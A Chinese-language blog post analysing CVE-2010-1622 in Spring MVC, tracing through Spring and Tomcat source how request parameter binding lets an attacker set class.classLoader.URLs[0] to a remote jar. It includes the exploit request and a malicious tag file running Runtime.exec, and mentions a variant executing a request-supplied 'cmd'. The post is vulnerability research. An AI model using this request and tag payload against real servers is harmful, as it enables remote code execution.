cve-2010-1622 漏洞全分析

这是大概两年前刚学习spring源码的时候写的一篇文章。一直没发出来,最近有点时间,整理下发在了博客上。by dingo

 
一、简介

       Cve-2010-1622是spring框架在2010年被发现的一个漏洞(我知道很古老),该漏洞可以让攻击者通过url等方式注入自己的代码,并在服务端执行。如果服务器权限设置不当,甚至可以让攻击者执行自定义的任意代码。

 

二、准备

         分析了这个漏洞的原理,我们基本就可以窥视出spring框架,尤其是springmvc的一些实现过程。鉴于国内对这个漏洞的讨论还比较少,个人觉得分析一下还是有一些意义的。

 

预备知识:

        要分析该漏洞,需要有一些java,spring的基础知识。(当然不需要太多,☺)。除了对spring和java的简单了解外,我们需要首先了解一下spring中利用java反射原理对bean的操作方式。          

         a) BeanWrapperImpl的作用

         我们都知道,Spring里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean对象。Spring通过容器创建和管理这些bean对象,并把他们注入到需要使用这些对象的方法或者类中。

         在spring中org.springframework.beans.BeanWrapperImpl这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapper和PropertyAccessor。第一个接口定义了持有bean的方法,第二个接口定义了获取和修改bean的属性的方法。所以BeanWrapperImpl的功能就是具体实现了创建,持有以及修改bean的方法。

其中我们先重点提一下BeanWrapperImpl中的setPropertyValue方法。通过多种不同参数的setPropertyValue的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array,list,map等,注入到指定bean的相关属性中。

         b) 准备环境的搭建  

         准备环境很简单,我们简单搭了一个spring-mvc的环境。其中包括:

          i. 一个简单的基于注释的controller:

 

 

@Controller
public class TestController {
	@RequestMapping("/test.htm")
	public String execute(User user){
		return "success";
	}
}

 

 

           ii. 一个简单pojo,User类

 

 

public class User {
	private String name;
	getter and setters ……
}

 

           iii.  Success.jsp 模板

 

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

   

三、分析

        接下来具体来调试漏洞

        我们在spring的总入口DispatcherServlet.java的doDispatch方法出加上断点,

        在启动测试环境之后,我们向测试环境的8080端口提交如下的get请求。

       

http://127.0.0.1/test.htm?class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

 

     请记住这个参数,

class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

      后面会不停地提到。

       1、spring中的代码分析   

 

       Spring通过调用总入口DispatcherServlet.java的doDispath方法来路由处理本次的http请求。通过源码,我们可以看到doDispatch的两个参数分别为HttpServletRequest request, HttpServletResponse response,也就是当前请求的request和response对象。这是由tomcat容器传递给spring的。

我们先来总体预览一下doDispatch对于本次http请求的执行过程。其实主要就是有3步。

        a) 通过传入的Rquest,获取响应处理的controller

        b) 传入get参数,执行controller的方法

        c) 获取controller中相关方法的返回值,渲染模版对象,返回response

        接下来,按照这个大纲,我们来看spring是怎么做的。     

        

        1.1 获取响应处理的controller

        在springmvc中,一个controller常常对应着一个url路径,controller往往也是我们分析程序的入口处。但我们知道,spring不仅仅自己实现了springmvc框架,它与其他的mvc框架,比如stucts等都可以做到很好的结合。但是stucts中不是controller,而是action。所以Spring为了达到很好的扩展性,自定义了一种类型,handler,handler可以是任意框架的执行类,对于spring就是controller,对于stucts就是action.

         为了正确解析本次http请求,我们首先需要找到处理这次请求的handler,也就是springmvc中的对应的controller,对应到本次的测试例子,应该就是com.dingo.controller.TestController.

我们来看doDispatch的源码:

  

processedRequest = checkMultipart(request); 	
//检查是不是上传类型等
mappedHandler = getHandler(processedRequest, false);
//通过传入的request从容器中找到相应的handler

        getHandler通过传入的request对象获取了响应的处理handler,也就是我们的TestController,并且包装了其他一些interceptor,使之构成了一个内部对象——mappedHandler(如图)

        
cve-2010-1622 漏洞全分析_第1张图片

    

      下面就是具体对获取的handle对象进行处理了。框架在处理http请求的时候不是使用的handle类,而肯定是使用的handler中的某个方法。对于各种不同handle中的方法,Spring都是通过HandlerAdapterhandle方法,进行统一调用,然后返回我们熟悉的springModelAndView对象。

      代码如下:

  

ModelAndView mv = null;
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

   

      ModelAndView对象返回之后,再调用:render(mv, processedRequest, response)

从而真正将模版渲染。这行代码也就是我们触发shellcode的地方。

   
cve-2010-1622 漏洞全分析_第2张图片
       

   以上就是doDispatch中的大体逻辑,我们从中看到了框架是如何找到相应的handle,以及如何触发提交的shellcode.但是还有很多具体细节我们并不清楚,比如class.classLoader.Url[0]是如何被绑定到tomcat中对于的classloader中的呢,比如spring在渲染的时候又是在哪执行的命令代码的呢。

 

   接下来我们可以分两部分来分别分析,分别是:

   1) handle如何执行controller定义的方法的。这其中包含的关键点是数据如何绑定,也就是我们的jar:http://localhost:8080/springmvc/dingo.jar!/如何成功进入到我们期望进入的classloader对象中的。具体要分析的代码就是mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

   2) spring是如何解析我们传入的jar文件中的tag代码,进而执行其中的java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));方法。                   

 

    1.2 执行controller中的方法

 

     F5进入ha.handle方法。发现经过一系列checkandparper之后,返回的是invokeHandlerMethod(request, response, handler);这个方法的返回值。

     进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver对象,它首先调用handle中的方法,返回一个我们不知道是什么的Object值,然后调用getModelAndView获取ModelAndView。代码如下:

     

    Object  result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel);
    ModelAndView mav =  methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);

 

 

         带着疑问,我们来探索Object result,到底是一个什么样的值,他的作用是什么。F5进入invokeHandlerMethod方法实体,看看methodInvoker是如何通过java的反射执行controller的代码的。

 

         代码如下:

   Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel);
   return doInvokeMethod(handlerMethodToInvoke, handler, args);

          resolvEHandlerArguments这个方法从字面上就可以推断出其作用是用来解析出controller方法的参数的。我们在TestControllerexecute传递的参数应该是User对象,通过查看eclipse中的变量提示,这边的返回值args证明了我们的猜测。

          
cve-2010-1622 漏洞全分析_第3张图片
 

 

         解析完参数之后进一步就是调用解析结果开始执行具体方法,我们进入doInvokeMethod(handlerMethodToInvoke, handler, args)这个方法实体查看。

 

private Object doInvokeMethod(Method method, Object target, Object[] args) throws Exception {
		ReflectionUtils.makeAccessible(method);
		try {
			return method.invoke(target, args);
		}
		catch (InvocationTargetException ex) {
			ReflectionUtils.rethrowException(ex.getTargetException());
		}
		throw new IllegalStateException("Should never get here");
	}

          可以看到,最终spring调用的是java.lang.reflect.Method类的invoke方法,他的两个参数,targetTestController中的execute方法,args也就是刚刚解析出来的user对象。

现在我们知道刚刚那个不太清楚的Object代表什么内容了,它代表的就是:Execute方法执行后的返回值 “success”!

          检查一下,完全正确!(如图)

    
cve-2010-1622 漏洞全分析_第4张图片
       

        到这边我们又看完了spring执行controller中的方法的过程,但是关于之前get参数如何注入到相关对象中的方法还是没有解决。我们传递的class.classloader.url[0]这个参数哪去了,你怎么能就这么返回了呢。

一定有什么东西我们忽略了。从头再回顾下我们的逻辑。

        我们本来要分析的是:

        mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

        进入方法之后我们发现返回mv对象分为两步:

        第一步:

           Object result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest,                   implicitModel);

        返回的result对象就是execute方法执行的返回结果,字符串”success”

 

        第二步

        真正返回ModelAndView对象:

        ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);

        刚刚我们只分析了第一步

        第一步中:

Object[] args = resolveHandlerArguments (handlerMethodToInvoke, handler, webRequest, implicitModel);

获取了execute的参数值。

        第二步里面直接获取了ModelAndView对象,初步判断应该不是注入classloader的地方,所以很有可能在resolveHandlerArguments这个方法里面,spring悄悄将我们在request中传递的参数

class.classLoader.URLs[0]= jar:http://localhost:8080/springmvc/dingo.jar!/给绑定了。

        真相只有一个!我们进去看吧。

 

        代码如下:

private Object[] resolveHandlerArguments(Method handlerMethod, Object handler, NativeWebRequest webRequest, ExtendedModelMap implicitModel)throws Exception {

		Class[] paramTypes = handlerMethod.getParameterTypes();
		Object[] args = new Object[paramTypes.length];

		for (int i = 0; i < args.length; i++) {
		......
			if (paramName == null && attrName == null) {
				Object argValue = resolveCommonArgument(methodParam, webRequest);
				//获取普通的参数值,我们这边并没有传,所以继续往下走
				if (argValue != WebArgumentResolver.UNRESOLVED) {
					args[i] = argValue;
		.......
			else if (attrName != null) {
				//关键在这边,自动调用了一个binder去绑定了request里面的参数
				WebDataBinder binder = resolveModelAttribute(attrName, methodParam, implicitModel, webRequest, handler);
				boolean assignBindingResult = (args.length > i + 1 && Errors.class.isAssignableFrom(paramTypes[i + 1]));
				if (binder.getTarget() != null) {
					doBind(webRequest, binder, !assignBindingResult);
				}
				args[i] = binder.getTarget();
		.......
		return args;
	}

             其中doBind方法具体实现数据绑定:

    

protected void doBind(NativeWebRequest webRequest, WebDataBinder binder, boolean failOnErrors)throws Exception {
	ServletRequestDataBinder servletBinder = (ServletRequestDataBinder) binder;
	servletBinder.bind((ServletRequest) webRequest.getNativeRequest());
	if (failOnErrors) {
			servletBinder.closeNoCatch();
	}
}

        doBind方法应该就是spring通常的数据绑定方法了吧,继续分析servletBinder.bind,看具体是如何利用反射进一步注入get参数中的数据的。

 

       最终经过层层嵌套的调试,我们找到了applyPropertyValues这个方法:

protected void applyPropertyValues(MutablePropertyValues mpvs) {
try {
		// Bind request parameters onto target object.
		getPropertyAccessor().setPropertyValues (mpvs, isIgnoreUnknownFields(), isIgnoreInvalidFields());
}

        绿色的spring原来的注释也表明了这个方法的作用——Bind request parameters onto target object.

看到setPropertyValues这个方法我们也有一种柳暗花明的亲切感。之前介绍BeanWrapperImpl类的时候,这个方法不正是我们所了解的,用以给bean的属性赋值的方法吗?

        跟进之后果然发现走到了BeanWrapperImpl这个spring中我们很熟悉的类。

在之前介绍过的skyzbb的文章中,他对BeanWrapperImpl如何注入bean属性,以及重点介绍的,spring在注入ListMap,Array等对象的时候与注入普通对象有什么不同有了详细的介绍,我这边再简单提一下。我们看setPropertyValue的代码。

        由于这个类太长,我对他进行了一些简化,简单看结构:

private void setPropertyValue(PropertyTokenHolder tokens, PropertyValue pv) throws BeansException {
		......

		if (tokens.keys != null) {
			// Apply indexes and map keys: fetch value for all keys but the last one.
			......
				propValue = getPropertyValue(getterTokens);
			.....
			// Set value for last key.
			String key = tokens.keys[tokens.keys.length - 1];
			......
			else if (propValue.getClass().isArray()) {
			//对array类型的操作
				......
					Array.set(propValue, Integer.parseInt(key), convertedValue);
				
				......
			}
			else if (propValue instanceof List) {
				......
				//对list类型的操作
			}
			else if (propValue instanceof Map) {
				......
				//对map类型的操作
				map.put(convertedMapKey, convertedMapValue);
			}
		}

		else {
				......
				writeMethod.invoke(this.object, new Object[] {valueToApply});
				//调用writeMethod的invoke方法去赋值
			}
		}
	}

         可以看到springmaplistarray是分开处理的,对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

         最初的http请求走到这边,我们就可以看到,最开始提交的class.classLoader.URLs[0]=jar:http://localhost:8080/springmvc/dingo.jar!/

已经赋给了classloader,我们来检查一下。如图:

         
cve-2010-1622 漏洞全分析_第5张图片
         
我们邪恶的jar包已经混入容器中了!

到此其实我们才分析道之前提到的不知道是什么的Object处,接下来获取ModelAndView的代码的代码相比较来说就简单多了:

          

	ModelAndView mav =  methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);
	进入getModelAndView方法:
	public ModelAndView getModelAndView(Method handlerMethod, Class handlerType, Object returnValue,
				ExtendedModelMap implicitModel, ServletWebRequest webRequest) {

			if (returnValue instanceof ModelAndView) {
				ModelAndView mav = (ModelAndView) returnValue;
				mav.getModelMap().mergeAttributes(implicitModel);
				return mav;
			}
			else if (returnValue instanceof Model) {
				return new ModelAndView().addAllObjects(implicitModel).addAllObjects(((Model) returnValue).asMap());
			}
			else if (returnValue instanceof Map) {
				return new ModelAndView().addAllObjects(implicitModel).addAllObjects((Map) returnValue);
			}
			else if (returnValue instanceof View) {
				return new ModelAndView((View) returnValue).addAllObjects(implicitModel);
			}
			else if (returnValue instanceof String) {	
				//我们的测试用例返回的是”success”,所以执行到这边
				return new ModelAndView((String) returnValue).addAllObjects(implicitModel);
			}
			else if (returnValue == null) {
				// Either returned null or was 'void' return.
				if (this.responseArgumentUsed || webRequest.isNotModified()) {
					return null;
				}
				else {
					// Assuming view name translation...
					return new ModelAndView().addAllObjects(implicitModel);
				}
			}
			else if (!BeanUtils.isSimpleProperty(returnValue.getClass())) {
				// Assume a single model attribute...
				....
	}

         可以看出,它只是判断了一下返回值,由于我们采用的是返回字符串,然后让spring自动找对应的模版的方法,直接在判断为string类型的时候返回新建的modelAndView对象。

         至此,解析spring如何执行controller中方法的过程圆满完成!

 

         1.3获取controller中相关方法的返回值,渲染模版对象,返回response

         解析完方法,我们就要进行最后的渲染模版工作了。

         再次回到DispatcherServlet,在执行完mv = ha.handle(processedRequest, response, mappedHandler.getHandler());方法后,我们走到了render(mv, processedRequest, response);方法,这个方法进行了渲染操作。

         先回过头来看我们的配置文件。

         测试用例采用了jsp作为模版文件。当然spring支持的模版文件远远不止jsp一种,velocity,freemarker等都可以当做spring的默认模版去渲染,反正最后能变成html代码给浏览器就行了。

为什么这边我们要使用jsp呢?因为只有jsp才能触发远程代码。(貌似是废话)

         Spring解析jsp采用的是内置的InternalResourceViewRwsolver类,这玩意儿叫视图定位器。也就是我们的测试小用例的Spring配置文件里面的

	<bean  class="org.springframework.web.servlet.view.InternalResourceViewResolver"
	p:prefix="/WEB-INF/jsp/" p:suffix=".jsp" />

           看完配置文件里面注入的bean,再接着看render代码。

           

protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response)
			throws Exception {
		View view = null;
		……
		view = resolveViewName(mv.getViewName(), mv.getModelInternal(), locale, request);
		……
		view.render(mv.getModelInternal(), request, response);
	}

           render方法实际上是调用了view对象的render方法,此时的view对象,就是刚刚的InternalResourceViewRwsolver类对应的InternalResourceView

           如图:


cve-2010-1622 漏洞全分析_第6张图片
 

           view在执行render的时候,回到了InternalResourceViewRwsolver定义的renderMergedOutputModel(mergedModel, request, response);方法。饶了一圈,其实最终就是用InternalResourceViewRwsolver渲染模版的过程罢了。

          按照你的想法(或者是我的想法),我们再进入renderMergedOutputModel方法看看里面的实现。我们发现进入了ApplicationDispatcher这个类。这好像是一个容器吧?看看包名org.apache.catalina.core,原来我们已经逃离spring到了tomcat里面了!

 

           在spring里面绕了太久,都快有一种窒息的感觉,我们暂时逃离spring的禁锢,来到jsp的世界里面透透气。

           Jsp可能是我们搞安全的在接触java web的时候最先接触的概念和玩意儿了。还记得以前找tomcat的默认后台上传jsp shell直接拿服务器权限的爽快感吗!

作为后面分析的准备内容,我们先来看看jsp的实现部分原理。

Jsp实际上是一种servlet,只不过换了一种语法,并且由容器在后台进行了解析。

对于我们的测试用例来说,tomcat在运行的时候解析了我们的success.jsp文件,生成了一个success_jsp.java(这个类可以在tomcat运行目录的work文件夹下面找到),运行这个类的输出结果,就是jsp解析之后的结果。

 

           我们的success.jsp的代码为:

<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

           生成的success_jsp.java代码就为:

package org.apache.jsp.WEB_002dINF.jsp;
public final class success_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent {

  private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

  private static java.util.List _jspx_dependants;
  private org.apache.jasper.runtime.TagHandlerPool _005fjspx_005ftagPool_005fform_005fform_005fcommandName;

  private javax.el.ExpressionFactory _el_expressionfactory;
  private org.apache.AnnotationProcessor _jsp_annotationprocessor;

  public Object getDependants() {
    return _jspx_dependants;
  }

  public void _jspInit() {
		......
	}

  public void _jspDestroy() {
		......
  }

  public void _jspService(HttpServletRequest request, HttpServletResponse response)
        throws java.io.IOException, ServletException {
		......
  }

  private boolean _jspx_meth_form_005fform_005f0(PageContext _jspx_page_context)
          throws Throwable {
		......
  }

  private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0)
          throws Throwable {
		......
  }
}

 }

        由于类的内容的比较多,这边我只列出了改类的方法,而没有列实体。从success_jsp.java类我们可以看到比较重要的三点:

        1) 该类继承了org.apache.jasper.runtime.HttpJspBase类,该类中定义了由jsp产生的servlet的一些标准。

        2) _jspService这个方法是对该jsp类的具体执行,在这个方法里面返回了jsp的输出等

        3) 具体到success.jsp中的<spring:form><spring:input>标签,对应的java类中分别产生了两个方法,_jspx_meth_form_005fform_005f0_jspx_meth_form_005finput_005f0。这两个方法体执行了spring特殊标签应该产生的功能。

           我们来重点看一下_jspx_meth_form_005finput_005f0这个方法体,先看一下之前我们提交的exp.jar中的input.tag文件:

<%@ tag dynamic-attributes="dynattrs" %>
<%
 java.lang.Runtime.getRuntime().exec("calc"); 
%>

            再来看一下_jspx_meth_form_005finput_005f0的方法定义:

private boolean _jspx_meth_form_005finput_005f0(javax.servlet.jsp.tagext.JspTag _jspx_th_form_005fform_005f0, PageContext _jspx_page_context, int[] _jspx_push_body_count_form_005fform_005f0)
      	    throws Throwable {
    PageContext pageContext = _jspx_page_context;
    JspWriter out = _jspx_page_context.getOut();
    //  form:input
    org.apache.jsp.tag.meta.InputTag_tag _jspx_th_form_005finput_005f0 = new org.apache.jsp.tag.meta.InputTag_tag();
    org.apache.jasper.runtime.AnnotationHelper.postConstruct(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    _jspx_th_form_005finput_005f0.setJspContext(_jspx_page_context);
    _jspx_th_form_005finput_005f0.setParent(_jspx_th_form_005fform_005f0);
    // /WEB-INF/jsp/success.jsp(3,0) null
    _jspx_th_form_005finput_005f0.setDynamicAttribute(null, "path", new String("name"));
    _jspx_th_form_005finput_005f0.doTag();
    org.apache.jasper.runtime.AnnotationHelper.preDestroy(_jsp_annotationprocessor, _jspx_th_form_005finput_005f0);
    return false;
  }

           调用了org.apache.jsp.tag.meta.InputTag_tag这个类,然后执行了doTag()这个操作。原来Inputtag.tag这个文件也被编译成了一个java类。在相同路径找到该类之后,我们看其中的代码:

            

package org.apache.jsp.tag.meta;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class InputTag_tag
    extends javax.servlet.jsp.tagext.SimpleTagSupport
    implements org.apache.jasper.runtime.JspSourceDependent,
               javax.servlet.jsp.tagext.DynamicAttributes {


  private static final JspFactory _jspxFactory = JspFactory.getDefaultFactory();

  private static java.util.List _jspx_dependants;

  private JspContext jspContext;
  private java.io.Writer _jspx_sout;
  private javax.el.ExpressionFactory _el_expressionfactory;
  private org.apache.AnnotationProcessor _jsp_annotationprocessor;

  public void setJspContext(JspContext ctx) {
    super.setJspContext(ctx);
    java.util.ArrayList _jspx_nested = null;
    java.util.ArrayList _jspx_at_begin = null;
    java.util.ArrayList _jspx_at_end = null;
    this.jspContext = new org.apache.jasper.runtime.JspContextWrapper(ctx, _jspx_nested, _jspx_at_begin, _jspx_at_end, null);
  }

  public JspContext getJspContext() {
    return this.jspContext;
  }
  private java.util.HashMap _jspx_dynamic_attrs = new java.util.HashMap();

  public void setDynamicAttribute(String uri, String localName, Object value) throws JspException {
    if (uri == null)
      _jspx_dynamic_attrs.put(localName, value);
  }
  public Object getDependants() {
    return _jspx_dependants;
  }

  private void _jspInit(ServletConfig config) {
    _el_expressionfactory = _jspxFactory.getJspApplicationContext(config.getServletContext()).getExpressionFactory();
    _jsp_annotationprocessor = (org.apache.AnnotationProcessor) config.getServletContext().getAttribute(org.apache.AnnotationProcessor.class.getName());
  }

  public void _jspDestroy() {
  }

  public void doTag() throws JspException, java.io.IOException {
    PageContext _jspx_page_context = (PageContext)jspContext;
    HttpServletRequest request = (HttpServletRequest) _jspx_page_context.getRequest();
    HttpServletResponse response = (HttpServletResponse) _jspx_page_context.getResponse();
    HttpSession session = _jspx_page_context.getSession();
    ServletContext application = _jspx_page_context.getServletContext();
    ServletConfig config = _jspx_page_context.getServletConfig();
    JspWriter out = jspContext.getOut();
    _jspInit(config);
    jspContext.getELContext().putContext(JspContext.class,jspContext);
    _jspx_page_context.setAttribute("dynattrs", _jspx_dynamic_attrs);
    try {
      out.write('\r');
      out.write('\n');

 java.lang.Runtime.getRuntime().exec("calc"); 

      out.write('\r');
      out.write('\n');
    } catch( Throwable t ) {
      if( t instanceof SkipPageException )
          throw (SkipPageException) t;
      if( t instanceof java.io.IOException )
          throw (java.io.IOException) t;
      if( t instanceof IllegalStateException )
          throw (IllegalStateException) t;
      if( t instanceof JspException )
          throw (JspException) t;
      throw new JspException(t);
    } finally {
      jspContext.getELContext().putContext(JspContext.class,super.getJspContext());
      ((org.apache.jasper.runtime.JspContextWrapper) jspContext).syncEndTagFile();
    }
  }
}

    

    重点看doTag中的部分代码: 

    

public void doTag() throws JspException, java.io.IOException {
    ……
    try {
      out.write('\r');
      out.write('\n');

 java.lang.Runtime.getRuntime().exec("calc");  //

 

终于,我们找到间谍了,原来这段shellcode偷偷藏在这个类里面!

      再回到之前我们从spring刚出来到tomcat的时刻。Tomcat中的renderMergedOutputModel方法执行了spring里面的render方法的具体操作,也就是说renderMergedOutputModel执行了模版里面的解析和其他一些tag的解析。

你可能感兴趣的:(java,spring,jsp,安全,CVE)